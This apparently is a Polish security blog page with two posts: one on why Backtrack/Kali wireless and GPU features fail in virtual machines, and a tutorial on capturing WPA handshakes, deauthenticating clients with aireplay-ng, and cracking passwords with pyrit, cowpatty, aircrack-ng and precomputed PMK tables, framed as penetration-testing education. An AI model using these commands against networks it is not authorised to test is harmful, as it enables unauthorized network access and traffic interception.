Pytania odnośnie maszyn wirtualnych zaczynają mnie lekko irytować, każdy by chciał aby chodziły tak jak komputer matka, a tu po prostu się nie da!

Zacznijmy jednak od początku. Co to jest maszyna wirtualna? To program który udaje przez programem, systemem gościa, że pracuje na prawdziwej maszynie i ma dostęp do jego zasobów. Sprzęt widoczny dla gościa to symulowana karta graficzna, dźwiękowa a nawet dysk czy pamięć. Idea maszyny jest taka, że nie powinna ona uniemożliwić systemowi gościa dostanie się do zasobów maszyny matki, chyba że administrator maszyny tak sobie rzeczy, wtedy możliwe jest eksportowanie niektórych sprzętów do gościa. Na chwilę obecną są to jednak, tylko sprzęty na USB i czasem dyski.

Jakie funkcje nie będą działać w Backtrack na maszynie wirtualnej?

  • Karty WiFi – wirtualny system nie zobaczy kart wifi, zintegrowanych, PCI, PCIe, miniPCI, miniPCIe, PCIMCA, ExpressCard – jest to spowodowane tym że programy do wizualizacji systemu, nie potrafią ich eksportować. (Mam na myśli WSZYSTKIE SPRZĘTY NA W/W ZŁĄCZA!) * z wyjątkiem vSphere
  • Karty WiFi na USB – niektóre karty da się wyeksportować inne nie. Dobrze eksportują się karty na układzie RTL8187L. Błędnie eksportują się karty na układzie AR9271. Nawet te które dobrze się eksportują mogą powodować masę problemów na maszynie wirtualnej których normalnie nie tworzą. Mogą nawet powodować totalne zawieszanie się systemu.
  • Karta graficzna (AMD Stream, CUDA) – nie ma możliwości eksportowania fizycznej karty graficznej do maszyny wirtualnej, ponieważ jest ona używana cały czas przez maszynę matkę. Dlatego pyrit na GPU nie będzie pracować.
  • Karta sieciowa kablowa – karta w maszynie wirtualnej zawsze jest wirtualna, dodatkowo, wirtualna sieć którą tworzy maszyna matka nie rzadko izoluje ją od gościa. Tak że podsłuchanie na gościu tego co robi matka staje się totalnie niemożliwe.
  • Dysk twardy – teoretycznie można eksportować dysk do maszyny gościa, niestety ja nie zalecam, ponieważ łatwo o pomyłkę. Taka pomyłka może nasz np. kosztować nadpisanie MBR na matce przez gościa przy eksportowaniu całego fizycznego dysku do gościa. Przy instalacji Fedory na dysku matki wewnątrz maszyny wirtualnej kończyło się uszkodzeniem systemu plików matki przy próbie re-partycjonowania
  • Procesor – zawsze jest wirtualne, możliwe jest nawet symulowanie procesora wielo rdzeniowego na maszynie która ma tylko jeden.
  • Pamięć – ilość pamięci maszyny wirtualnej w maszynie musi być zawsze mniejsza niż pamięć matki, tak aby mogła cały czas działać.

Jak użyć wszystkich możliwości Backtrack PREMIUM ?

Zainstalować go na prawdziwej maszynie, posiadającej:

  • przyzwoity procesor posiadający instrukcje SSE2 oraz przynajmniej dwa rdzenie
  • przynajmniej 1GB pamięci operacyjnej, mile widziane 2GB DDR2
  • dobra kartę, graficzną wspierającą AMD Stream lub CUDA, czyli np. AMD Radeon HD5670 lub GeForce GT260 i inne nowsze
  • dysk twardy na słowniki, tablice które potrafią zajmować miejsce

Co zrobić jeżeli cały dysk zajmuje Windows? – Istnieje wiele programów do modyfikacji partycji na żywym systemie, są też LiveCD które potrafią to robić nawet z partycją systemową Windows. Ja polecam jednak nie ruszać partycji systemowej a partycje dla Backtrack-a utworzyć na końcu dysku lekko zmniejszając partycje Windows-a/NTFS. Do tego celu polecam system LParted.

Jaką wersję BT pobrać jeżeli nie mam innej możliwości niż maszyna wirtualna ? – Każdą wersję poza wersjami dedykowanymi dla AMD lub nVidia, ponieważ zawierają one sterowniki dla prawdziwej karty graficznej a nie wirtualnej.

Kali Linux na maszynie wirtualnej? – Kali nie różni się w tej kwestii od Backtrack, tak samo powinien działać poprawie. Zalecam tylko używanie sterownika ekranu o nazwie „vmware” nawet dla qemu czy VirtualBox.

Jakie są znane problemy z maszynami wirutalnymi ? – Wiele kart wifi nie działa poprawnie, np. każda karta na układzie firmy Atheros/Qualcomm: AR9271, AR9170, AR9487WB+AR3XXX, AR9285WB+AR3XXX (WB = with bluetooth) RaLink RT3870, Realtek RTL8192. Istnieją też problemy z znacznym spadkiem wydajności CPU, nawet gdy posiadamy wsparcie dla zagnieżdżania stosu. Wydajność wirtualnego dysku także zmniejsza się w stosunku do fizycznego nośnika, wyjątkiem jest tylko qemu-kvm w trybie direct które udostępnia prawdziwy dysk.

Słyszałem że vSphere eksportuje wszystkie karty, czy to prawda? – Tak jest to możliwe, vSphere może nawet użyczać karty graficznej do użytku dla oclHashcat, jednak vSphere jest bardziej zaawansowane niż VMWare, VirutalBox i qemu razem wzięte. Więcej informacji o vSphere można odszukać tutaj. Jednak należy pamiętać że jest to oprogramowanie przeznaczone dla ekspertów a nie dla początkujących. Instalacja i konfiguracja jest znacznie trudniejsza niż innych maszyn wirtualnych. Jeżeli jesteś amatorem, łatwiej ci będzie zaprzyjaźnić się z innymi maszynami wirtualnymi oraz Kali Linux z LiveDVD niż vSphere.

Tagged with:
 

Kilka osób prosiło mnie już o krótki opis użycia i generowania tęczowych tablic. Ponieważ dziś spędziłem nad nimi kilka h, krótko to opiszę.

Na początek wymagania dla osób które chcą używać tęczowych tablic:

  1. Dowolny słownik w postaci .txt lub .lst
  2. Backtrack 5

Wymagania dla osób które chcą generować tęczowe tablice:

  1. dowolny słownik
  2. Backtrack.pl 5 R3 PREMIUM (najlepiej AMD lub CUDA)
  3. Karta graficzna z CUDA lub AMD Stream (jeżeli mamy dużo cierpliwości to nie jest konieczne)

Co to są „Tęczowe Tablice” (ang. Rainbow Tables) – jest to baza, w tym wypadku hash-y, służąca do łamania hasła. Tablice pozwalają zaoszczędzić dużą ilość mocy obliczeniowej przy sprawdzaniu hand-shake-ów sieci o tych samych ESSID-ach. Przeciętny procesor powinien być w stanie sprawdzić około 100tyś. pmk/s dobre nowoczesne maszyny nawet do 1-2mln. pmk/s. trzeba jednak pamiętać że nie ma sensu tworzyć tablic dla bardzo unikalnych ESSID-ów które mogą się nigdy nie powtórzyć.

Zaczynamy od złapania 4-way hand shake:

airmon-ng start wlan0

airodump-ng -w linksys --bssid 00:21:91:2C:E4:FB -c 11 mon0

Oczywiście podany BSSID to nasz AP którego ESSID to linksys, mon0 to karta w trybie monitor mode. Odpali nam się airodump i zacznie nasłuchiwać, możemy to tak zostawić, poczekać aż jakiś klient się podłączy co w 90% daje nam pewny hs lub jeżeli są kliencie próbować go rozłączyć za pomocą komendy:

aireplay-ng -0 1 -c 00:22:43:07:6D:63 -a 00:21:91:2C:E4:FB mon0

Gdzie 00:22:43:07:6D:63 to nasz klient. Nie należy przesadzać z ilością deauth-ów ponieważ może to spowodować że system zaniecha próby ponownego łączenia np. po 3 nieudanych próbach. Dzieje się tak często gdy system klient-a to Windows XP/Vista/7. Efektem komendy powinien być mały komunikat u góry okna:

CH 11 ][ Elapsed: 56 s ][ 2012-09-26 18:14 ][ WPA handshake: 00:21:91:2C:E4:FB

Po wyjściu z airodump CTRL+C w katalogu stworzy się plik z nazwą linksys i końcówką .cap, w tym pliku jest zapisany hand-shake i musimy go zatrzymać do późniejszej analizy. Aby złapać hs, musimy być w zasięgu AP oraz KLIENTA tej sieci, musimy zablokować nasłuch na kanale AP. Nie można używać anten mocno kierunkowych, jak grid czy parabola. Najlepiej na niedużych odległościach sprawdzają się anteny panelowe o średnim zysku i szerokim kącie pół-mocy. Ewentualnie możemy zastosować anteny omni o dużym kącie pół-mocy, zazwyczaj są to anteny o zysku do 6dBi. Przeciętna antena 9dBi ma kont pół-mocy na poziomie 10 stopi co jest stanowczo za mało. Gdy testujemy poziom zabezpieczeń w budynkach z wieloma piętrami, powinno się używać anten omni o większym zysku, czyli np. 9dBi ale wymusza to na nas poruszanie się miedzy kondygnacjami.

Jeżeli nie chcemy tworzyć tęczowych tablic już w tym momencie możemy przystąpić do „zgadywania” hasła za pomocą aircrack, pyrit-a lub cowpatty.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

sam pyrit:

pyrit -e linksys -i mega.txt -r linksys-01.cap attack_passthrough

samo cowpatty:

cowpatty -r  linksys-01.cap -f mega.txt -s linksys

lub

aircrack-ng -w mega.txt -e linksys linksys-01.cap

Najlepsze rozwiązanie to pyrit + cowpatty, ewentualnie sam pyrit, głównie ze względu na szybkość i użycie GPU.

Alternatywną metodą łamania powtarzających się ESSID-ów są tęczowe tablice, które jak wcześniej pisałem oszczędzają nam masę czasu i powalają NIE POSIADAĆ szybkiego GPU, ponieważ wilcza część pracy została już „odwalona” przy ich tworzeniu.

Tworzenie „Tęczowych tablic” – metod na ich tworzenie jest naprawdę masa, same tablice z hash-ami mogą występować w kilku różnych formatach np. format cowpatty lub airolib. Mogą też być magazynowane w bazie pyrit-a która znowu także może mieć format plikowy, baza w pliku sqlite lub mieścić się w prawdziwej bazie jak MySQL lub PostgeSQL. Na nasze potrzeby wystarczy baza plikowa w formacie pyrit-a, która na dodatek jest wybierana domyślnie i mieści się w katalogu .pyrit.

Metoda genpmk – metoda bardzo wolna, ponieważ nie używa wielu rdzeni ani GPU.

genpmk -f mega.txt -d linksys.cow -s linksys

mega.txt to słownik, jak wcześniej linksys.cow to tęczowa tablica, TYLKO i wyłącznie dla ESSID-a „linksys”

Metoda na pyrit-a – dużo szybsza używa tylko i wyłącznie bazy pyrit-a. Na początek importujemy słownik do bazy pyrit-a:

pyrit -i mega.txt import_passwords

Tworzymy SSID dla które ma zostać stworzona baza hash-ów:

pyrit -e linksys create_esssid

Generujemy hash-e dla wszystkich dodanych ESSID-ów:

pyrit batch

Od tego w bazie pyrit-a są gotowe hash-e dla ESSID-a linksys, których bez dodatkowych operacji możemy używać przez:

pyrit -e linksys -r linksys-01.cap attack_db

Jak widać nie musimy dopisywać -i mega.txt ponieważ słownik jest w bazie! Trzeba dodać że jest to jedna z najszybszych metod.

Metoda pyrit + cowpatty – metoda wymaga wykonania wszystkich poleceń jak przy metodzie pyrit-a z bazą danych, czyli:

pyrit -i mega.txt import_passwords

pyrit -e linksys create_esssid

pyrit batch

Następnie możemy przystąpić do generowanie tablic w formacie cowpatty, ale tym razem dużo szybciej niż za pomocą genpmk ponieważ pyrit używa GPU oraz każdego dostępnego rdzenia CPU.

pyrit -e linksys -o linksys.cow export_cowpatty

Tak jak poprzednio powstanie linksys.cow czyli Tęczowa tablica dla ESSID-a linksys. Możemy generować i podawać wiele ESSID-ów jednocześnie, dzięki temu będziemy mieli tablice dla każdego podanego ESSID-a.

Tak przygotowane tablice możemy bez problemy używać w cowpatty:

cowpatty -d linksys.cow -r linksys-01.cap -s linksys

tak samo w pyrit:

pyrit -i linksys.cow -e linksys -r linksys-01.cap attack_cowpatty

Trzeba też dodać że pyrit jest dużo bardziej rozbudowany i przyjmuje spakowane tablice za pomocą GunZip-a który znacznie redukuje ich rozmiar. Aby spakować tablice, należy wykonać:

gzip -9v linksys.cow

Powstanie nam plik linksys.cow.gz który bez problemu podamy zraz za -i . Cowpatty nie obsługuje kompresowanych tablice .gz.

Jeżeli mamy takie widzimisię możemy używać pyrit-a z cowpatty a wtedy już mamy absolutną dowolność formatów tablic, słowników, baz.

Najlepsze wyjście – mimo mnogości możliwości najlepsza metoda sprawdzania, powtarzających się ESSID-ów to moetoda z użyciem bazy danych pyrit-a, ewentualnie razem z cowpatty.

 

Pyrit – to bardzo dobry program, niestety jego wczesna faza rozwoju powoduje że lubi się wywalić, czasem dobra składnia raz powoduje poprawne działanie raz go wywraca, ja sprawdziłem to przynajmniej na kilku maszynach o różnych architekturach. Wersja PREMIUM zawiera możliwie najnowszą wersję pyrit-a pobraną z svn.

Tłumaczenie parametrów pyrit-a:

-b BSSID Access Point-a

-e ESSID Access Point-a czyli nazwa sieci np. linksys

-i plik wejścia, może to być np. słownik lub tęczowa tablica, obsługiwane są słowniki .gz (po kompresji GunZip-em)

-o plik wyjścia, np. do tworzenia tęczowych tablic, dodanie na końcu .gz powoduje że tablica zostanie skompresowana w locie.

-r plik .cap (pcap format) np. z airodump-a lub wireshark można też podać urządzenie jak wlan0

-u adres URL miejsca/sposobu przechowywania danych, może to być np. plik file:///baza, baza danych sqlite:///baza.db serwer tworzony przez pyrit-a relay http://192.168.1.12

–all-handshakes powoduje sprawdzanie handshaków w pliku .cap

Komendy:

  • analyze – analizuje plik .cap w poszukiwaniu hs

pyrit -r linksys.cap analyze

  • attack_batch – sprawdza wszystkie hs, zawarte w pliku .cap

pyrit -r test.pcap -e MojaSiec -b 00:de:ad:c0:de:00 -o HasloMojejSieci.txt attack_batch

  • attack_cowpatty – sprawdzanie hasła przy użyciu tablic cowpatty

pyrit -r mojasiec.cap -e MojaSiec -i rainbow.cow.gz -o - attack_cowpatty

  • attack_db – sprawdza hasła za pomocą tablic z bazy pyrit-a

pyrit -r mojasiec.cap -e mojasiec attack_db

  • attack_passthrough – sprawdza hasło przy pomocy słownika podanego za pomocą -i

pyrit -r mojasiec.cap -e mojasiec -i slownik.txt attack_passthrough

  • batch – generuje tzw. pay kluczy głównych na podstawie słownika wcześniej zaimportowanego i zapisuje jej z bazie pyrit-a

pyrit batch

pyrit -e mojasiec batch

  • benchmark – testuje wydajność pyrit-a
  • check_db – sprawdza poprawność bazy danych pyrit-a
  • create_essid – dodaje do bazy nowy ESSID który po użyciu komendy batch zostanie przetworzony, opcja przyjmuje wiele ESSID-ów na raz.
  • delete_essid – kasuje ESSID z bazy
  • pyrit -e mojasiec delete_essid
  • eval – pokazuje dodaje ESSID-y oraz ilość przygotowanych dla nich par kluczy gł.
  • export_passwords – eksportuje słownik dodany wcześniej do pliku, można podać .gz

pyrit -o slowni.txt export_passwords

  • export_cowpaty – eksportuje wszystkie pary kluczy gł. do pliku w formacie cowpatty

pyrit -e mojasiec -o mojasiec.cow export_cowpatty

  • export_hashdb – export do pliku/bazy w formacie airolib-ng

pyrit -o mojasiec.db -e mojasiec export_hashdb

  • import_passwords – importuje hasła z słownika do bazy pyrit-a

pyrit -i wordlist.txt import_passwords

  • import_unique_password – składnia sugeruje że hasła powinny być importowane bez dubli, ale według man, tak się nie dzieje. (nie polecam używać)
  • list_cores – pokazuje listę rdzeni procesora i sprzętowych przyspieszaczy jak np. GPU
  • list_essids – pokazuje listę ESSID-ów
  • passthrough – polecenie sprawdza hasła zawarte w słowniku, generuje pary kluczy gł. i wysyła je go -o , polecenie można połączyć z cowpatty przez stdio tak aby cowpatty analizowało generowane klucze w locie. Polecenie nie zapisuje kluczy w bazie pyrit-a.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

  • relay – bardzo ciekawa komenda, pozwala przetwarzać hasła na klucze przez sieć, jest to bardzo przydatne gdy nie posiadamy w danej maszynie silnego GPU

Serwer, tam gdzie nie mamy silnego GPU:

pyrit -u sqlite:///root/baza.db relay

Klient, tu posiadamy silny GPU:

pyrit -u http://192.168.1.2:17934 batch

  •  selftest – sprawdza działanie mechanizmu przetwarzania pyrita
  • serve – kolejna, rewelacyjna opcja pyrita, serwer mocy obliczeniowej. Powoduje że na porcie 17934 otwiera się furtka do mocy obliczeniowej maszyny, tak że kliencie mogą się łączyć i przetwarzać za jej pomocą.

Serwer mus mieć wpis w .pyrit/config known_clients a następnie odpalone:

pyrit serve

Klient, musi mieć wpis w .pyrit/config rpc_server i odpalić lokalnie dowolną komendę:

pyrit -r mojasiec.cap.gz -e mojasiec -i slownik.txt attack_passthrouth

  • strip, stripLive – służą do wyjmowania z plików .cap samego handshake

pyrit -r "duzyplik.cap" -e MyNetwork -o tylko_hs_mojejsieci.cap.gz strip

  • verify – sprawdza 10% wygenerowanych wcześniej kluczy przez ich ponowne generowanie

Wydajność testowania hasła na tęczowych tablicach:

  • AMD Phenom II 4×3.6GHz (użyty 1 rdzeń) cowpatty ~280,000 pmk/s
  • AMD Phenom II 4×3.6GHz (użyte 4 rdzenie) pyrit ~1mln. pmk/s
  • AMD GPU 7870 GDDR5 pyrit ~5mln. pmk/s (wszystkie pliki na ramdisk-u)
  • Intel i3 2x2Ghz (użyty 1 rdzeń) cowpatty ~120,000 pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz, 1 rdzeń) cowpatty ~300,000pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz) pyrit ~1.1mln. pmk/s
  • Intel i5 + AMD GPU 5470M ~600,000 pmk/s
  • AMD A4 (2Ghz +5470M) + 7670M ~1.4mln. pmk/s
  • Intel CPU P4 Mobile cowpatty ~80,000 pmk/s

Materiały:
http://code.google.com/p/pyrit/w/list

http://wirelessdefence.org/Contents/coWPAttyMain.htm

Adnotacja: Wszystkie informacje mają służyć celą edukacyjnym oraz testowaniu bezpieczeństwa infrastruktury sieci firmowych. Nie namawiam do łamania prawa! Prawo łamią ludzie, nie programy.

Update: dla osób które nie posiadają szybkiego GPU lub nie mają cierpliwości czekać na ich generowanie postanowiłem wrzucić kilka gotowych tablic dla popularnych ESSID-ów. Wszystkie tęczowe tablice zrobione na bazie naszego polskiego słownika są dostępne tutaj.

Tagged with:
 

Portal Bezpieczna Sieć - Forum komputerowe, Informatyka śledcza, bezpieczeństwo, backtrack, kali - Kali Linux Polska Edycja - Polska Edycja Backtrack - Poradnik dla gracza - Praca oparta na wiedzy i edukacji - Seriws Laptopów Katowice - Sklep Komputerowy Katowice - Parking BETA przy lotnisku Pyrzowice - miejsce Run w sieci - Prawda od promocjach ,Informatyka, promocje, ceny, ekonomia, ekologia, filozofia - Prawda na tematy informatyki, ekonomii, ekologii - Wróżka, Poezja - eMono-cykl, SegWay, AirWheel, SoloWheel

stat4u